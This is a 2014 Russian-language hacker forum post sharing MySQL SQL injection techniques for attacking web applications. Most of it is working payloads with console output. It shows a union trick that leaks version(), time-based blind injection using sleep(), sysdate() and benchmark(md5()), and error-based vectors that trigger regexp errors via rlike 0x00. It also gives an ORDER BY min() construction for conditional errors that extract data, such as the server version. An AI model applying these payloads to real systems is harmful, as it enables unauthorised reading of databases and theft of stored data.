Показать сообщение отдельно
Старый 14.06.2014, 13:56   #29
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

}{оттабыч, самый неудобный и ненадежный способ. Агрегатную функцию можно просто сгруппировать в никуда:
Код:
mysql> select count(id) from (select 1 id)x where 0 group by~0 union select version();
+----------------------+
| count(id)            |
+----------------------+
| 5.1.68-community-log |
+----------------------+
1 row in set (0.00 sec)
В аргумент должно быть передано какое-либо выражение. Запись исчезнет.

Дополнение к способу эксплуатации time-based (см. выше, #26):

Функция sleep() была добавлена в 5.0.12, в этой же версии изменено поведение функции sysdate(). Теперь она возвращает настоящее время, а не время на начало запроса:
Код:
mysql> SELECT now(), sleep(5), sysdate();
+---------------------+----------+---------------------+
| now()               | sleep(5) | sysdate()           |
+---------------------+----------+---------------------+
| 2014-06-14 10:29:49 |        0 | 2014-06-14 10:29:54 |
+---------------------+----------+---------------------+
1 row in set (5.00 sec)
Использование sysdate() в time-based sql injection:
Код:
mysql> SELECT host, user FROM mysql.user WHERE 1=0 or (sysdate()in(now())and(sleep(2)));
Empty set (2.00 sec)
Но не все так просто. Функция sysdate() является недетерминированной, и её, как функцию rand() и переменные, можно использовать не везде. Она не будет действовать в Full-Text Search Functions, XML Functions, etc, однако не все недетерминированные функции запрещены к использованию - например uuid_short() (её кстати можно использовать и для хранения информации и для межсессионной передачи данных) работает нормально.

Для проверки проверки параметра в данных условиях можно вызывать ошибку после задержки. Одни из немногих вариантов (из-за ограничений):
PHP код:
(not(select 1 union select sleep(1)))
(
1 rlike char(benchmark(5000000md5(3)))) 
UPD:
Эти самые ограничения, которые мешали вызывать ошибку поле задержки (например нельзя выполнить sleep(1) и затем вызвать ошибку в regexp), могут помочь. Традиционно считается, что выражение во WHERE, HAVING не исполняется при нулевом кол-ве записей, а выражение в ORDER BY не исполняется как при 0-вом числе записей, так и при 1-ой записи.

Однако в случае «детерминированности» аргумента, проверка на то, что выражение может дать ошибку (частично) происходит до его исполнения:
Код:
mysql> SELECT 1 FROM (SELECT 1 LIMIT 0)a HAVING 1 rlike 0x00;
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
Из-за этой возможности в таких случаях можно полноценно использовать вектора, основанные на regexp и XML Function. Кстати, последний вариант ((1 rlike char(benchmark(5000000, md5(3))))) является единственно верным из тех, что пока приведены здесь. Он правильно работает в любых типах выражений и поддерживает большое число версий.

UPD1:
Если при нулевом числе записей и при ошибке выводы равны, можно добавить в запрос ORDER BY и применить в нем агрегатную функцию (тем самым сделав 1 запись):
Код:
mysql> SELECT id FROM (SELECT 1 id LIMIT 0)a WHERE 1;
Empty set (0.00 sec)

mysql> SELECT id FROM (SELECT 1 id LIMIT 0)a WHERE 1 ORDER BY min(0);
+----+
| id |
+----+
| NULL |
+----+
1 row in set (0.00 sec)

mysql> SELECT id FROM (SELECT 1 id LIMIT 0)a WHERE 1 ORDER BY min(0 rlike if(mid(version(),1,1)=5, 0x00, 2));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

Последний раз редактировалось NameSpace; 19.06.2014 в 09:27..
NameSpace вне форума   Ответить с цитированием